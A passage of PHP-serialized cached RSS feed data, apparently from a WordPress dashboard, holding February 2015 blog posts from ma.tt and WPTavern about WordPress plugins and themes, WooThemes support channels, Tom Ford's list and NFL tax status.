says <a href=\"http://fivethirtyeight.com/datalab/people-working-from-home-in-a-snowstorm-may-be-producing-more-than-you-are/\">People Working From Home In A Snowstorm May Be Producing More Than You Are</a>, on the productivity of working from home.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 08 Feb 2015 03:41:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:32;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Tom Ford’s 15 Things\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44642\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"http://ma.tt/2015/02/tom-fords-15-things/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1195:\"<p>For the <a href=\"http://www.vogue.co.uk/spy/15th-anniversary\">15th anniversary of Vogue.com</a> noted fashion designer Tom Ford made a list of 15 things that every man should have, which are as follow:</p>\n<ol>\n<li>A sense of humour.</li>\n<li>A daily read of a newspaper.</li>\n<li>A sport that you love and are good at.</li>\n<li>Tweezers.</li>\n<li>A good cologne that becomes a signature.</li>\n<li>A well cut dark suit.</li>\n<li>A pair of classic black lace up shoes.</li>\n<li>A smart blazer.</li>\n<li>The perfect pair of dark denim jeans.</li>\n<li>Lots of crisp white cotton shirts.</li>\n<li>Always new socks and underwear, throw away the old ones every 6 months.</li>\n<li>A classic tuxedo.</li>\n<li>A beautiful day watch with a metal band.</li>\n<li>The perfect sunglasses.</li>\n<li>Perfect teeth. If you don&#8217;t have them, save up and get them fixed.</li>\n</ol>\n<p>A pretty good list, though I would <a href=\"http://cir.ca/\">replace the newspaper with Circa</a>, and I must confess I&#8217;m not sure sure what #4 the tweezers are for.</p>\n<p><a href=\"http://om.co/2011/07/05/tom-ford-5-tips-to-be-a-modern-gentleman/\">Om also has Tom Ford&#8217;s 5 tips for a modern gentleman</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 23:49:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:33;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"WPTavern: Customize Your Login Page Using the WordPress Customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38581\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://wptavern.com/customize-your-login-page-using-the-wordpress-customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2713:\"<p>As a result of the improvements to the Customizer API in WordPress 4.0 and 4.1, developers now have access to a wider array of controls and parameters that allow them to extend the feature for more varied uses beyond themes. The new <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Custom Login Customizer</a> plugin is a prime example of making the customizer available outside of a theme-related context.</p>\n<p>The plugin adds its own panel to the customizer with a myriad of options for customizing the design of your site&#8217;s login page.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg\" rel=\"prettyphoto[38581]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg?resize=987%2C572\" alt=\"login-customizer\" class=\"aligncenter size-full wp-image-38688\" /></a></p>\n<p>Custom Login Customizer allows you to customize nearly every aspect of the login form, including the following:</p>\n<ul>\n<li>Set a login logo, along with width, height, and padding</li>\n<li>Add a background, select background color and size</li>\n<li>Set a background for the form</li>\n<li>Adjust form styling &#8211; width, height, padding, border</li>\n<li>Style input field width, margin, background, and input/label colors</li>\n<li>Color picker for button background, border, hover background/border, button box shadow</li>\n<li>Select text colors</li>\n<li>Add custom CSS</li>\n</ul>\n<p>I tested the plugin and found it works smoothly as advertised. Once installed, navigate to Appearance > Login Customizer in order to launch your login page in the customizer while still being logged in.</p>\n<p>Custom Login Customizer was created by WordPress developer <a href=\"http://www.hardeepasrani.com/\" target=\"_blank\">Hardeep Asrani</a> and then sold to <a href=\"https://themeisle.com/\" target=\"_blank\">ThemeIsle.com</a> last week. &#8220;I believe Themeisle will most probably have a premium version with some more features in the future,&#8221; Asrani said. &#8220;However, the free plugin will still be there at the WordPerss.org repository and will have more features soon. At this moment, there&#8217;s no premium version or a plan for it.&#8221;</p>\n<p>There are many plugins out there which allow you to customize your login page. However, the advantage of using this particular one is that you can preview your changes live before saving them. This is one of the best uses of the customizer in a plugin that I have seen so far. It makes designing your login page an easy and enjoyable experience. Download the <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Login Customizer</a> from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 22:44:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:34;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:74:\"WPTavern: Custom Metaboxes and Fields for WordPress (CMB2) Now Out of Beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38417\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:82:\"http://wptavern.com/custom-metaboxes-and-fields-for-wordpress-cmb2-now-out-of-beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4291:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg\" rel=\"prettyphoto[38417]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg?resize=768%2C372\" alt=\"photo credit: Different types of wand cases stacked - (license)\" class=\"size-full wp-image-38683\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22464562@N00/8084402724\">Different types of wand cases stacked</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The <a href=\"https://github.com/WebDevStudios/CMB2\" target=\"_blank\">Custom Metaboxes and Fields for WordPress (CMB2)</a> plugin is now officially out of beta and ready for public use. The tool was created to make it easy for developers to create metaboxes and forms with custom fields. Developers at <a href=\"http://webdevstudios.com/\" target=\"_blank\">WebDevStudios</a> took over the <a href=\"https://github.com/WebDevStudios/Custom-Metaboxes-and-Fields-for-WordPress\" target=\"_blank\">original CMB GitHub repository</a> from Jared Atchison, its original creator, in December of 2013.</p>\n<p>Justin Sternberg <a href=\"http://webdevstudios.com/2015/02/02/cmb2-wordpress-plugin/\" target=\"_blank\">explained</a> why WebDevStudios chose to start contributing to the CMB2 project:</p>\n<blockquote><p>After having been burned by some issues with other custom field plugins, we determined it was best to stick with code that we had some control over. We fell in love with CMB because it was a library we could include in any of our projects and it would just work while letting us keep all of the field configuration in the code, and more importantly, in our version control system.</p></blockquote>\n<p>Due to irreconcilable shortcomings in the original CMB, WebDevStudios opted to fork the project and create a new one that wouldn&#8217;t have the same backwards compatibility requirements. If you used CMB in the past, it&#8217;s important to note that the new CMB2 project has renamed every class, function, hook, and filter in the library to avoid conflicts with the original. It&#8217;s essentially a complete re-write.</p>\n<p>&#8220;CMB2 was built with a new mechanism to ensure it only loads the most recent version of CMB2 in your system,&#8221; Sternberg said. &#8220;This ensures that a plugin with an old bundled version will not conflict or take precedence over your up-to-date version.&#8221;</p>\n<p>The new <a href=\"https://wordpress.org/plugins/cmb2/\" target=\"_blank\">CMB2 is now available on WordPress.org</a> as a plugin for easy activation when you want to use it with one of your projects. As an alternative, you can <a href=\"https://github.com/WebDevStudios/CMB2/blob/master/example-functions.php#L14\" target=\"_blank\">include CMB2 directly</a>. The newly released plugin features the following:</p>\n<ul>\n<li>Create metaboxes to be used on post edit screens.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Using-CMB-to-create-an-Admin-Theme-Options-Page\" target=\"_blank\">Create forms to be used on an options pages.</a></li>\n<li>Create forms to handle user meta and display them on user profile add/edit pages.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" target=\"_blank\">Flexible API that allows you to use CMB forms almost anywhere, even on the front-end</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Field-Types#types\" target=\"_blank\">30+ built-in field types</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Adding-your-own-field-types\" target=\"_blank\">Custom API hook that allows you to create your own field types</a></li>\n<li>Numerous hooks and filters, allowing you to modify many aspects of the library (without editing it directly)</li>\n<li>Repeatable fields for most field types are supported, as well as repeatable field groups</li>\n</ul>\n<p>The WebDevStudios team plans to maintain strict backwards compatibility moving forward, as of CMB2&#8217;s 2.0.1 release on WordPress.org. If you want to include CMB2 as part of your next project, make sure to check out the plugin&#8217;s <a href=\"https://github.com/WebDevStudios/CMB2/wiki\" target=\"_blank\">wiki and code library</a> for tips on how to add metaboxes, fields, and forms to WordPress themes and plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 21:05:54 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:35;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: Harmonic: A Bold Free WordPress Theme for Artists and Bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38617\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/harmonic-a-bold-free-wordpress-theme-for-artists-and-bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3114:\"<p>If you like designs that feature stunning, fullscreen background images, then Automattic&#8217;s latest free theme release is a prime candidate for your next blog redesign. <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> recently landed on WordPress.org and is rapidly closing in on 3,000 downloads.</p>\n<p>This theme puts the spotlight on your images and content. Harmonic&#8217;s striking homepage is accompanied by a minimalist, one-column blog design and an optional portfolio page template.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png?resize=880%2C660\" alt=\"harmonic\" class=\"aligncenter size-full wp-image-38619\" /></a></p>\n<p>Each section of the scrolling front page has options in the customizer that let you assign a unique display. The customizer allows you to easily set a background for the news, page, widgets, and portfolio sections. You can even include a background shade so that the title and tagline are more readable. The Visibility options allow you to hide any of the sections you&#8217;re not currently using.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png?resize=1025%2C542\" alt=\"harmonic-customizer\" class=\"aligncenter size-full wp-image-38629\" /></a></p>\n<p>Single posts and pages with a featured image will display in a fullscreen design similar to the homepage. The blog archive is available with your choice of a one or two-column layout.</p>\n<p>With the addition of Jetpack, Harmonic also supports site logo upload and a portfolio. The customizer includes options for three different thumbnail aspect ratios, including: landscape (4:3), portrait (3:4), and square (1:1).</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg?resize=1025%2C748\" alt=\"media\" class=\"aligncenter size-full wp-image-38635\" /></a></p>\n<p>Harmonic includes a custom menu for social links and has support for 16 different social networks. Check out the <a href=\"https://harmonicdemo.wordpress.com/\" target=\"_blank\">live demo</a> on WordPress.com to see the theme in action.</p>\n<p>With the release of <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> for self-hosted sites, Automattic now has 60 free themes available in the directory. This theme caters to visual artists and bloggers who have large images to showcase in the background, portfolio, or gallery sections of the site.</p>\n<p>Harmonic is unique in that it transforms featured images and titles into a splash page style intro to single posts. If you want to use images to make a strong impact on your reader, this theme fits the bill. It&#8217;s available on both WordPress.com and self-hosted WordPress sites via the admin themes browser.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 08:19:58 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:36;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Matt: Real NFL Scandal\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44652\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/real-nfl-scandal/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1108:\"<blockquote><p>Seattle&#8217;s decision to throw the ball at the goal line with 20 seconds to go in last night&#8217;s Super Bowl was a costly one. But in the long run, it won&#8217;t be nearly as costly to the rest of the United States as the National Football League (NFL) itself.</p>\n<p>Every year, the NFL rakes in around $9.5 billion in revenue. Its commissioner, Roger Goodell, meanwhile, has an annual salary of $44 million. And while those numbers might make sense for any big business, the NFL isn&#8217;t a business &#8211; not technically, at least.</p>\n<p>According to the Public Law 89-800, it&#8217;s a 501(c)6 tax-exempt nonprofit. That&#8217;s right, a nonprofit. In other words, the NFL, one of the most lucrative organizations in all of sports, is subsidized by you and me the taxpayers.</p></blockquote>\n<p>From <a href=\"http://www.truth-out.org/opinion/item/28885-the-real-nfl-scandal\">The Real NFL Scandal</a>. If you&#8217;re curious, here&#8217;s a <a href=\"http://en.wikipedia.org/wiki/Category:501(c)(6)_nonprofit_organizations\">list of other notable 501(c)(6) organizations</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 00:47:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:37;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"WPTavern: Why WooThemes is Smart to Discontinue Its Twitter Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38563\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wptavern.com/why-woothemes-is-smart-to-discontinue-its-twitter-support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3992:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg\" rel=\"prettyphoto[38563]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg?resize=1025%2C495\" alt=\"woo-support-twitter-account\" class=\"aligncenter size-full wp-image-38610\" /></a></p>\n<p>WooThemes <a href=\"http://www.woothemes.com/2015/02/retiring-woosupport-twitter/\" target=\"_blank\">announced</a> this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. &#8220;On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24 hours for first-reply time,&#8221; she said.</p>\n<p>WooThemes, like many other WordPress product and service providers, had expanded channels to try to offer support on as many different social channels as possible. Last October, the company <a href=\"http://www.woothemes.com/2014/10/glimpse-world-woosupport/\" target=\"_blank\">announced</a> changes in its support structure:</p>\n<blockquote><p>We&#8217;re opening more and more avenues of communication like the Community, the @WooSupport Twitter handle, and a streamlined Knowledge Base, as well as actively monitoring our social media and ideas boards. You name it, we’re working on it.</p></blockquote>\n<p>Over the past several months, WooThemes has discovered that offering Twitter support is more trouble than it&#8217;s worth. &#8220;Questions get technical and DMs and 140 characters are not ideal facilitators of such things,&#8221; Pape said in the announcement.</p>\n<p>&#8220;Yes, we want to encourage conversation. Yes, we want to have an ear to the ground and be able to help people when the rubber hits the road for them and escalate tickets if people have been waiting for unusually long periods,&#8221; she said. <strong>&#8220;But the truth of the matter is Twitter is not the place to handle support queries and when we try we shoot ourselves in the collective foot.&#8221;</strong></p>\n<p>WooThemes is making a smart move to pull back from a medium that wasn&#8217;t built to handle complex support queries. Instead of spreading staff thin over every social avenue, the company is concentrating on channeling users through an established ticketing system that is already working.</p>\n<p>While anyone can use Twitter for whatever purpose, within its 140 character limit, the brevity that the medium was designed for is not a good fit for managing support. If users find frustration in communicating within Twitter&#8217;s limited capacity, support on this channel is a waste of company time and resources.</p>\n<p>&#8220;But after letting @WooSupport run for a while, we realized what it was actually doing was creating an expectation that we never intended to meet which was that we were able to actually give support over Twitter,&#8221; Pape explained. <strong>&#8220;140 characters are not enough to talk about the weather let alone why your custom-built-million-moving-parts website is breaking.&#8221;</strong></p>\n<p>WooThemes is opting to limit support to its ZenDesk ticketing system, instead of having social media managers playing middleman via tweets. &#8220;DMs on Twitter to get details and sort out problems is akin to birthing pineapples,&#8221; Pape said. Encouraging the ticketing system as the primary avenue of support is a move toward greater efficiency.</p>\n<p>WordPress hosting companies and product/service providers would do well to examine how they are using their various social channels and whether or not some could be trimmed back in favor of more suitable mediums for communication. Cutting out Twitter support may not be the answer for every product or customer demographic, but being &#8220;always on&#8221; and &#8220;always available&#8221; via every channel is not a realistic approach to support.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 20:56:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:38;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:95:\"WPTavern: Thoughtful Comments Plugin Adds Comment Moderation Links to the Frontend of WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38542\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:105:\"http://wptavern.com/thoughtful-comments-plugin-adds-comment-moderation-links-to-the-frontend-of-wordpress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3054:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38557\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png?resize=669%2C348\" alt=\"Thoughful Comments Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/98640399@N08/9410826173\">GirlOnRail_BKGs_BartaIV 1024&#215;768</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The backend of WordPress has a set of tools to help administrators moderate comments, but what if you could bring some of those tools to the frontend? Developed by <a title=\"http://foliovision.com\" href=\"http://foliovision.com\">Foliovision</a>, <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">Thoughtful Comments</a> is compatible with Jetpack Comments and adds the following links to comments on the frontend of WordPress:</p>\n<ul>\n<li>Approve</li>\n<li>Delete</li>\n<li>Delete Thread</li>\n<li>Delete and Ban IP</li>\n<li>Delete Thread and Ban IP</li>\n</ul>\n<p>Usernames highlighted in red indicate a comment that&#8217;s in the moderation queue. You can either approve, delete, or delete and ban the IP address of moderated comments. It&#8217;s important to note that deleted comments are sent to the trash instead of being removed completely from WordPress. For this reason, I think the Delete link should be renamed to Trash so its function makes more sense.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38554\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png?resize=708%2C293\" alt=\"Comment in Moderation Status\" /></a>Comment in Moderation Status\n<p>You can also delete entire threads.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38555\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png?resize=640%2C267\" alt=\"Various Administration Links\" /></a>Various Administration Links\n<p>Editing posts, administering comments, and managing a site from the frontend is a huge time saver. With <a title=\"https://wordpress.org/plugins/wp-front-end-editor/\" href=\"https://wordpress.org/plugins/wp-front-end-editor/\">certain aspects of WordPress</a> making their way to the frontend, I wouldn&#8217;t be surprised if one day, the features within Thoughtful Comments end up in core. In the future, I think users will expect to be able to accomplish specific tasks like these without 